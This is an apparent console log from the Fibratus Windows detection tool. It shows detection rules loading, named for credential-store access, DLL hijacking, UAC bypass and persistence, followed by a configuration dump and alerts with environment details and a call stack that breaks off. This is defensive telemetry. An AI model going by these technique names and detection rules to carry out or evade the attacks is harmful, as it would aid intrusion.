C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:56:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T13:56:12+01:00 level=info msg=bootstrapping with pid 10704. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:56:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-dns=>false enable-mem=>false enable-image=>true min-buffers=>16 enable-vamap=>true enable-net=>true enable-audit-api=>true enable-fileio=>true max-buffers=>36 enable-handle=>false flush-interval=>1s enable-registry=>true enable-threadpool=>false buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s healthcheck=>true sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false] http=>[ timeout=>5s enable-gzip=>false endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST serializer=>json] amqp=>[ enabled=>false timeout=>5s vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false passive=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 durable=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false fastscan=>true skip-mmaps=>false excluded-procs=>[] enabled=>false excluded-files=>[] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:56:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:56:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:56:32+01:00 level=info msg=sending alert: [UAC bypass via DLL hijack from Windows Media player directory]. Text: Event(s): + Seq: 5256766 + Pid: 3596 + Tid: 19936 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:56:21.2113929 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 395dd7000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f73805080, name➜ cmd.exe, pid➜ 2000, ppid➜ 3596, real_ppid➜ 3596, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 13:56:21.2113415 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via DLL hijack from Windows Media player directory, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3596 + Ppid: 1600 + Name: mmc.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" "C:\WINDOWS\system32\eventvwr.msc" + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" "C:\WINDOWS\system32\eventvwr.msc"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T13:56:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5296257 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:56:35.5519201 +0100 CET + Params: base_address➜ 7ffcd4bf0000, checksum➜ 37972, default_address➜ 7ffcd4bf0000, file_path➜ C:\Program Files\Windows Media Player\OskSupport.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd15583d C:\Windows\System32\user32.dll!User32InitializeImmEntryTable|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420c7f3f5 C:\WINDOWS\System32\win32kfull.sys!DestroySMWP+0x4f5|0xfffff80420c7e4af C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x3bdf|0xfffff80420c7d87e C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x2fae|0xfffff80420c7cfaa C:\WINDOWS\System32\win32kfull.sys!NtUserCallNextHookEx+0x26da|0xfffff80420d41b87 C:\WINDOWS\System32\win32kfull.sys!NtGdiGetDCObject+0xd97|0xfffff80420d40fea C:\WINDOWS\System32\win32kfull.sys!NtGdiGetDCObject+0x1fa|0xfffff80420cd2017 C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0x857|0xfffff80420cd19d6 C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0x216|0xfffff80420cd18bd C:\WINDOWS\System32\win32kfull.sys!NtUserPeekMessage+0xfd|0xfffff80406901077 C:\WINDOWS\System32\win32k.sys!?|0xfffff804752b2255 